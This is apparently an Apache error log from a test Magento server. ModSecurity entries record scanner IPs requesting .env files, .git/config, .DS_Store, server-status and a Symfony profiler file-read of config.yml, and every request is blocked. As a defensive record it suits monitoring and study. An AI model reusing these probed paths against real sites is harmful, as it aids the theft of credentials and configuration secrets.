[Sat Dec 20 15:26:17.193759 2025] [:error] [pid 864003] [client 195.178.110.160:37448] [client 195.178.110.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "aUayCSMOV_UYl9flnZ20XwAAAA8"]
[Sat Dec 20 15:26:17.193920 2025] [:error] [pid 864003] [client 195.178.110.160:37448] [client 195.178.110.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "aUayCSMOV_UYl9flnZ20XwAAAA8"]
[Sat Dec 20 15:26:17.551608 2025] [:error] [pid 864402] [client 195.178.110.160:37466] [client 195.178.110.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aUayCQn_4plqIlND_7W5ygAAAAU"]
[Sat Dec 20 15:26:17.551906 2025] [:error] [pid 864402] [client 195.178.110.160:37466] [client 195.178.110.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aUayCQn_4plqIlND_7W5ygAAAAU"]
[Sat Dec 20 15:26:17.552062 2025] [:error] [pid 864402] [client 195.178.110.160:37466] [client 195.178.110.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aUayCQn_4plqIlND_7W5ygAAAAU"]
[Sat Dec 20 15:26:17.747993 2025] [authz_core:error] [pid 857290] [client 195.178.110.160:37470] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/dev/.env
[Sat Dec 20 15:26:17.910676 2025] [:error] [pid 856674] [client 195.178.110.160:37480] [client 195.178.110.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "aUayCYZm9d0FY_hp4zY2QAAAAAA"]
[Sat Dec 20 15:26:17.910913 2025] [:error] [pid 856674] [client 195.178.110.160:37480] [client 195.178.110.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "aUayCYZm9d0FY_hp4zY2QAAAAAA"]
[Sat Dec 20 15:26:17.911073 2025] [:error] [pid 856674] [client 195.178.110.160:37480] [client 195.178.110.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "aUayCYZm9d0FY_hp4zY2QAAAAAA"]
[Sat Dec 20 15:26:18.820915 2025] [:error] [pid 857289] [client 195.178.110.160:37532] [client 195.178.110.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aUayCkcesDQvflsX-zh5ewAAAAw"]
[Sat Dec 20 15:26:18.821154 2025] [:error] [pid 857289] [client 195.178.110.160:37532] [client 195.178.110.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aUayCkcesDQvflsX-zh5ewAAAAw"]
[Sat Dec 20 15:26:18.821309 2025] [:error] [pid 857289] [client 195.178.110.160:37532] [client 195.178.110.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aUayCkcesDQvflsX-zh5ewAAAAw"]
[Sat Dec 20 15:26:19.028697 2025] [:error] [pid 864003] [client 195.178.110.160:37546] [client 195.178.110.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "aUayCyMOV_UYl9flnZ20YAAAAA8"]
[Sat Dec 20 15:26:19.028933 2025] [:error] [pid 864003] [client 195.178.110.160:37546] [client 195.178.110.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "aUayCyMOV_UYl9flnZ20YAAAAA8"]
[Sat Dec 20 15:26:19.029107 2025] [:error] [pid 864003] [client 195.178.110.160:37546] [client 195.178.110.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "aUayCyMOV_UYl9flnZ20YAAAAA8"]
[Sat Dec 20 15:26:19.207158 2025] [:error] [pid 857288] [client 195.178.110.160:37556] [client 195.178.110.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aUayC5VD5_BONmdyZnqwHAAAAAs"]
[Sat Dec 20 15:26:19.207406 2025] [:error] [pid 857288] [client 195.178.110.160:37556] [client 195.178.110.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aUayC5VD5_BONmdyZnqwHAAAAAs"]
[Sat Dec 20 15:26:19.207570 2025] [:error] [pid 857288] [client 195.178.110.160:37556] [client 195.178.110.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aUayC5VD5_BONmdyZnqwHAAAAAs"]
[Sat Dec 20 15:26:19.541260 2025] [:error] [pid 857290] [client 195.178.110.160:37576] [client 195.178.110.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "aUayCybsPSl6AuAMnb6okQAAAA0"]
[Sat Dec 20 15:26:19.541515 2025] [:error] [pid 857290] [client 195.178.110.160:37576] [client 195.178.110.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "aUayCybsPSl6AuAMnb6okQAAAA0"]
[Sat Dec 20 15:26:19.541680 2025] [:error] [pid 857290] [client 195.178.110.160:37576] [client 195.178.110.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "aUayCybsPSl6AuAMnb6okQAAAA0"]
[Sat Dec 20 15:26:19.751478 2025] [:error] [pid 856674] [client 195.178.110.160:37582] [client 195.178.110.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.development"] [unique_id "aUayC4Zm9d0FY_hp4zY2QQAAAAA"]
[Sat Dec 20 15:26:19.751722 2025] [:error] [pid 856674] [client 195.178.110.160:37582] [client 195.178.110.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.development"] [unique_id "aUayC4Zm9d0FY_hp4zY2QQAAAAA"]
[Sat Dec 20 15:26:19.751894 2025] [:error] [pid 856674] [client 195.178.110.160:37582] [client 195.178.110.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.development"] [unique_id "aUayC4Zm9d0FY_hp4zY2QQAAAAA"]
[Sat Dec 20 15:26:19.941998 2025] [:error] [pid 857308] [client 195.178.110.160:37584] [client 195.178.110.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aUayC25vX0qxwKCkkaVj9gAAAAQ"]
[Sat Dec 20 15:26:19.942243 2025] [:error] [pid 857308] [client 195.178.110.160:37584] [client 195.178.110.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aUayC25vX0qxwKCkkaVj9gAAAAQ"]
[Sat Dec 20 15:26:19.942411 2025] [:error] [pid 857308] [client 195.178.110.160:37584] [client 195.178.110.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aUayC25vX0qxwKCkkaVj9gAAAAQ"]
[Sat Dec 20 15:26:20.062151 2025] [:error] [pid 856675] [client 195.178.110.160:37592] [client 195.178.110.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aUayDEIfITGY54M_SoBvvwAAAAE"]
[Sat Dec 20 15:26:20.062428 2025] [:error] [pid 856675] [client 195.178.110.160:37592] [client 195.178.110.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aUayDEIfITGY54M_SoBvvwAAAAE"]
[Sat Dec 20 15:26:20.062598 2025] [:error] [pid 856675] [client 195.178.110.160:37592] [client 195.178.110.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aUayDEIfITGY54M_SoBvvwAAAAE"]
[Sat Dec 20 15:26:20.188516 2025] [authz_core:error] [pid 857293] [client 195.178.110.160:37598] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/.env
[Sun Dec 21 20:22:47.395270 2025] [:error] [pid 881897] [client 158.51.121.183:9510] [client 158.51.121.183] ModSecurity: Warning. Matched phrase "config.yml" at ARGS:file. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "96"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config.yml found within ARGS:file: app/config/config.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/app_dev.php/_profiler/open"] [unique_id "aUhJB0PjDdlyWMnlmDY3RAAAACg"]
[Sun Dec 21 20:22:47.395758 2025] [:error] [pid 881897] [client 158.51.121.183:9510] [client 158.51.121.183] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/app_dev.php/_profiler/open"] [unique_id "aUhJB0PjDdlyWMnlmDY3RAAAACg"]
[Sun Dec 21 20:22:47.395929 2025] [:error] [pid 881897] [client 158.51.121.183:9510] [client 158.51.121.183] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/app_dev.php/_profiler/open"] [unique_id "aUhJB0PjDdlyWMnlmDY3RAAAACg"]
[Mon Dec 22 06:48:16.861034 2025] [authz_core:error] [pid 899038] [client 68.183.9.16:54914] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Mon Dec 22 06:48:19.849011 2025] [:error] [pid 898845] [client 68.183.9.16:54942] [client 68.183.9.16] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aUjbowAPc6tIWMDQ1VXo_wAAAAU"]
[Mon Dec 22 06:48:19.849237 2025] [:error] [pid 898845] [client 68.183.9.16:54942] [client 68.183.9.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aUjbowAPc6tIWMDQ1VXo_wAAAAU"]
[Mon Dec 22 06:48:19.849388 2025] [:error] [pid 898845] [client 68.183.9.16:54942] [client 68.183.9.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aUjbowAPc6tIWMDQ1VXo_wAAAAU"]
[Mon Dec 22 06:48:20.860141 2025] [:error] [pid 898842] [client 68.183.9.16:54954] [client 68.183.9.16] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aUjbpNbYvltSyqLBvkmX7AAAAAQ"]
[Mon Dec 22 06:48:20.860385 2025] [:error] [pid 898842] [client 68.183.9.16:54954] [client 68.183.9.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aUjbpNbYvltSyqLBvkmX7AAAAAQ"]
[Mon Dec 22 06:48:20.860558 2025] [:error] [pid 898842] [client 68.183.9.16:54954] [client 68.183.9.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aUjbpNbYvltSyqLBvkmX7AAAAAQ"]
[Mon Dec 22 06:48:22.870509 2025] [:error] [pid 898838] [client 68.183.9.16:54964] [client 68.183.9.16] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aUjbpvr4G77J7RRdTh3xowAAAAA"]
[Mon Dec 22 06:48:22.870746 2025] [:error] [pid 898838] [client 68.183.9.16:54964] [client 68.183.9.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aUjbpvr4G77J7RRdTh3xowAAAAA"]
